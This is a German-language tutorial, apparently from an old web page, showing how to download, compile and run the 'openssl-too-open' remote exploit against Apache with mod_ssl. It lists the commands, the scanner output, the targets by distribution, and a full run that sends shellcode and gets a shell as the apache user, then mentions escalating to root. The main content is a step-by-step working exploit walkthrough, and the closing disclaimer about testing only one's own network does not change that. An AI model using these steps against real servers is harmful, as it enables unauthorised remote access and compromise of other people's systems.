openssl-too-open ist ein Exploit welches ein Sicherheitsloch in ssl von Apache ausnutzt um den Angreifer ein Shellzugang zu übergeben. Das Exploit findet man überall im Internet man muss nur den Dateiname in eine Suchmaschine eingeben (openssl-too-open.tar.gz). Nachdem man das Exploit heruntergeladen hat muss man es entpacken und dann kompilieren. gzip -d openssl-too-open.tar.gz tar -fxv openssl-too-open.tar make Wenn das kompilieren erfolgreich verlaufen ist, finden wir im Verzeichnis zwei Dateien. Die Scanner Datei “openssl-scanner” mit der man testet ob ein Server verwundbar ist und mit der anderen Datei “openssl-too-open” bekommt man Shellzugang. Mit der Eingabe testen wir ob der Server 192.168.0.1 verwundbar ist. ./openssl-scanner 192.168.0.1 Die Aufgabe: : openssl-scanner : OpenSSL vulnerability scanner by Solar Eclipse Opening 1 connections . . done Waiting for all connections to finish . . done 192.168.0.1: Vulnerable Wie wir sehen ist der Server verwundbar also können wir jetzt testen ob wir jetzt auch ein Shellzugang bekommen. Wenn wir das Programm openssl-too-open ohne Parameter ausführen, wird uns eine kurze Hilfe angezeigt. ./openssl-too-open
Die Ausgabe: : openssl-too-open : OpenSSL remote exploit by Solar Eclipse
Usage: ./openssl-too-open [options] -a target architecture (default is 0x00) -p SSL port (default is 443) -c open N apache connections before sending the shellcode (default is 30) -m maximum number of open connections (default is 50) -v verbose mode
Supported architectures: 0x00 - Gentoo (apache-1.3.24-r2) 0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1) 0x02 - Slackware 7.0 (apache-1.3.26) 0x03 - Slackware 8.1-stable (apache-1.3.26) 0x04 - RedHat Linux 6.0 (apache-1.3.6-7) 0x05 - RedHat Linux 6.1 (apache-1.3.9-4) 0x06 - RedHat Linux 6.2 (apache-1.3.12-2) 0x07 - RedHat Linux 7.0 (apache-1.3.12-25) 0x08 - RedHat Linux 7.1 (apache-1.3.19-5) 0x09 - RedHat Linux 7.2 (apache-1.3.20-16) 0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP) 0x0b - RedHat Linux 7.3 (apache-1.3.23-11) 0x0c - SuSE Linux 7.0 (apache-1.3.12) 0x0d - SuSE Linux 7.1 (apache-1.3.17) 0x0e - SuSE Linux 7.2 (apache-1.3.19) 0x0f - SuSE Linux 7.3 (apache-1.3.20) 0x10 - SuSE Linux 8.0 (apache-1.3.23-137) 0x11 - SuSE Linux 8.0 (apache-1.3.23) 0x12 - Mandrake Linux 7.1 (apache-1.3.14-2) 0x13 - Mandrake Linux 8.0 (apache-1.3.19-3) 0x14 - Mandrake Linux 8.1 (apache-1.3.20-3) 0x15 - Mandrake Linux 8.2 (apache-1.3.23-4) Examples: ./openssl-too-open -a 0x01 -v localhost ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80 Wir können in der Hilfe sehen welche Distributionen unterstützt werden. Beim ausführen des Programms müssen wir den Parameter für die passende Distribution übergeben. In diesem Beispiel wird die Mandrake Distribution mit der Versionsnummer 8.0 verwendet ( -a 0x13 ). ./openssl-too-open -a 0x13 192.168.0.1
Die Ausgabe: : openssl-too-open : OpenSSL remote exploit by Solar Eclipse : Opening 30 connections Establishing SSL connections : Using the OpenSSL info leak to retrieve the addresses ssl0 : 0x8125ed8 ssl1 : 0x8125ed8 ssl2 : 0x8125ed8 : Sending shellcode ciphers: 0x8125ed8 start_addr: 0x8125e18 SHELLCODE_OFS: 208 Execution of stage1 shellcode succeeded, sending stage2 Spawning shell... bash: no job control in this shell bash-2.04$ uname -a; id; w; Linux mandrake 2.4.3-20mdk #1 Sun Apr 15 23:03:10 CEST 2001 i686 unknown uid=48(apache) gid=48(apache) groups=48(apache) 1:02pm up 2:24, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/0 - 10:40am 2:22m 0.01s 0.01s /bin/cat bash-2.04$ whoami apache
Wie wir an dem Kommando whoami sehen haben wir eine Shell mit apache Rechten bekommen. Der Angreifer würde jetzt weitere Sicherheitslöcher ausnutzen um den kompletten root Zugang zu erhalten. Die Anleitung ist selbstverständlich nur um die Sicherheit seines eigenen Netzwerks zutesten. Sollte jemand auf die Idee kommen das auf einem fremden System auszuprobieren, so kann ich ihm garantieren das er sehr schnell gefasst wird. Denn so ein Exploit hinterlässt Spuren, die auch ein Idiot lesen kann. Der Autor distanziert sich vor jeglichem missbrauch dieser Information und kann nicht deswegen zur Rechenschaft gezogen werden.
|